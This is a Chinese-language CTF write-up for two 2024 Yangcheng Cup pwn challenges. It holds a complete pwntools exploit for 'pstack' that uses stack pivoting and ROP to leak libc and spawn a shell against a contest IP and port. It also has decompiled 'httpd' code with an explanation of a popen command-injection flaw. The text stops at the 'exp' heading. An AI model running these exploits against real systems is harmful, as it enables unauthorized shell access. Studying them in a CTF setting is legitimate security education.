题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2024pwn
pstack
程序逻辑非常简单,存在栈溢出只能覆盖返回地址,没有pie,通过二次栈迁移,控制rbp来实现任意地址写,然后第一次栈迁移往bss写满泄露地址的rop,之后二次迁移过去执行就可以执行rop,第一次rop泄露地址,第二次rop直接getshell
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "139.155.126.78"
PORT = 32922
elf = context.binary = ELF('./pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
p = connect()
rdi=0x0000000000400773
rbp=0x00000000004005b0
leave_ret=0x4006DB
ret=0x4006DC
vuln=0x4006C4
payload = flat([
b'a' * 0x30,0x601730,vuln
])
sa("Can you grasp this little bit of overflow?",payload)
payload = flat([
rdi,elf.got['read'],elf.plt['puts'],
rbp,0x601a30,vuln,
0x6016f8,leave_ret
])
s(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) -libc.sym['read']
success(hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = flat([
rdi,binsh,system,b'a' * 0x18,
0x6019f8,leave_ret
])
s(payload)
p.interactive()
httpd
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int result; // eax
int v6; // eax
int v7; // eax
struct tm *v8; // eax
__time_t tv_sec; // edi
int st_size; // esi
const char *v11; // eax
struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
int v13; // [esp+Ch] [ebp-14130h] BYREF
int v14; // [esp+10h] [ebp-1412Ch] BYREF
int v15; // [esp+14h] [ebp-14128h] BYREF
int v16; // [esp+18h] [ebp-14124h] BYREF
char v17; // [esp+1Ch] [ebp-14120h] BYREF
char *haystack; // [esp+20h] [ebp-1411Ch]
int i; // [esp+24h] [ebp-14118h]
size_t v20; // [esp+28h] [ebp-14114h]
char *has_host; // [esp+2Ch] [ebp-14110h]
char *v22; // [esp+30h] [ebp-1410Ch]
int stdout_fd; // [esp+34h] [ebp-14108h]
int v24; // [esp+38h] [ebp-14104h]
FILE *stream; // [esp+3Ch] [ebp-14100h]
int v26; // [esp+40h] [ebp-140FCh]
FILE *v27; // [esp+44h] [ebp-140F8h]
int c; // [esp+48h] [ebp-140F4h]
struct stat v29; // [esp+4Ch] [ebp-140F0h] BYREF
char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
char v31[16]; // [esp+A8h] [ebp-14094h] BYREF
char v32[116]; // [esp+B8h] [ebp-14084h] BYREF
char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
char input_data[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
char httpMethod[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
char requestPath; // [esp+56C0h] [ebp-EA7Ch] BYREF
char v37[9999]; // [esp+56C1h] [ebp-EA7Bh] BYREF
char httpVersion[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
char v40[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
__int64 v41; // [esp+12FE4h] [ebp-1158h]
char *v42; // [esp+12FECh] [ebp-1150h]
int v43; // [esp+1312Ch] [ebp-1010h] BYREF
unsigned int v44; // [esp+14120h] [ebp-1Ch]
int *p_argc; // [esp+1412Ch] [ebp-10h]
p_argc = &argc;
while ( &v43 != (int *)v33 )
;
v44 = __readgsdword(0x14u);
memset(&v33[884], 0, 1024);
v20 = 0;
strcpy(modes, "r");
if ( chdir("/home/ctf/html") < 0 )
puts_error(500, (int)"Internal Error", 0, "Config error - couldn't chdir().");
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "No request found.");
if ( __isoc99_sscanf(input_data, "%[^ ] %[^ ] %[^ ]", httpMethod, &requestPath, httpVersion) != 3 )
puts_error(400, (int)"Bad Request", 0, "Can't parse request.");
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "Missing Host.");
has_host = strstr(input_data, "Host: ");
if ( !has_host )
puts_error(400, (int)"Bad Request", 0, "Missing Host.");
v22 = strstr(has_host + 6, "\r\n");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(has_host + 6, (int)"\n");
if ( v22 )
*v22 = 0;
}
if ( strlen(has_host + 6) <= 7 )
puts_error(400, (int)"Bad Request", 0, "Host len error.");
if ( has_host == (char *)-6 || !has_host[6] )
puts_error(400, (int)"Bad Request", 0, "Host fmt error.");
v42 = &v17;
HIDWORD(v41) = &v16;
__isoc99_sscanf(has_host + 6, "%d.%d.%d.%d%c", &v13, &v14, &v15);
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
has_host = strstr(input_data, "Content-Length: ");
if ( !has_host )
puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
v22 = strstr(has_host + 16, "\r\n");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(has_host + 16, (int)"\n");
if ( v22 )
*v22 = 0;
}
if ( strlen(has_host + 16) > 5 )
puts_error(400, (int)"Bad Request", 0, "Content-Length len too long.");
if ( strcasecmp(httpMethod, "get") )
puts_error(501, (int)"Not Implemented", 0, "That method is not implemented.");
if ( strncmp(httpVersion, "HTTP/1.0", 8u) )
puts_error(400, (int)"Bad Request", 0, "Bad protocol.");
if ( requestPath != 47 )
puts_error(400, (int)"Bad Request", 0, "Bad filename.");
haystack = v37;
urldecode(v37, v37);
if ( !*haystack )
haystack = "./";
v20 = strlen(haystack);
if ( *haystack == '/' // 目录穿越检查
|| !strcmp(haystack, "..")
|| !strncmp(haystack, "../", 3u)
|| strstr(haystack, "/../")
|| !strcmp(&haystack[v20 - 3], "/..") )
{
puts_error(400, (int)"Bad Request", 0, "Illegal filename.");
}
if ( !sub_1F74(haystack) )
puts_error(404, (int)"Not Found", 0, "Invalid file name.");
v3 = fileno(stdout);
stdout_fd = dup(v3);
v4 = fileno(stderr);
v24 = dup(v4);
freopen("/dev/null", "w", stdout);
freopen("/dev/null", "w", stderr);
stream = popen(haystack, modes);
if ( stream )
{
pclose(stream);
v6 = fileno(stdout);
dup2(stdout_fd, v6);
v7 = fileno(stderr);
dup2(v24, v7);
close(stdout_fd);
close(v24);
if ( stat(haystack, &v29) < 0 )
puts_error(404, (int)"Not Found", 0, "File not found.");
if ( (v29.st_mode & 0xF000) == 0x4000 )
{
if ( haystack[v20 - 1] != 47 )
{
snprintf(v40, 0x4E20u, "Location: %s/", &requestPath);
puts_error(302, (int)"Found", (int)v40, "Directories must end with a slash.");
}
snprintf(file, 0x4E20u, "%sindex.html", haystack);
if ( stat(file, &v29) < 0 )
{
sub_23D9(200, "Ok", 0, (int)"text/html", -1, v29.st_mtim.tv_sec);
v26 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void *))&alphasort);
if ( v26 >= 0 )
{
for ( i = 0; i < v26; ++i )
{
sub_2704(v32, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name);
snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name);
if ( lstat(file, &v29) >= 0 )
{
v8 = localtime(&v29.st_mtim.tv_sec);
strftime(v31, 0x10u, "%d%b%Y %H:%M", v8);
printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v32, namelist[i]->d_name, v31, (__int64)v29.st_size);
sub_20C6(file);
}
else
{
printf("<a href=\"%s\">%-32.32s</a> ???\n", v32, namelist[i]->d_name);
}
printf(
"</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
"https://2024ycb.dasctf.com/",
"YCB2024");
}
}
else
{
perror("scandir");
}
goto LABEL_74;
}
haystack = file;
}
v27 = fopen(haystack, "r");
if ( !v27 )
puts_error(403, (int)"Forbidden", 0, "File is protected.");
tv_sec = v29.st_mtim.tv_sec;
st_size = v29.st_size;
v11 = sub_2566(haystack);
sub_23D9(200, "Ok", 0, (int)v11, st_size, tv_sec);
while ( 1 )
{
c = getc(v27);
if ( c == -1 )
break;
putchar(c);
}
LABEL_74:
fflush(stdout);
exit(0);
}
result = -1;
if ( v44 != __readgsdword(0x14u) )
check_canary();
return result;
}
程序的逻辑很长,实现了一个http request parse,然后相应请求,大多数逻辑都是对http request的格式做判断,还有目录穿越的检查
漏洞出在这里popen这里
这个popen会fork一个子进程,然后调用shell,把参数传过去,也没有做过滤,所以可以通过这里执行命令
exp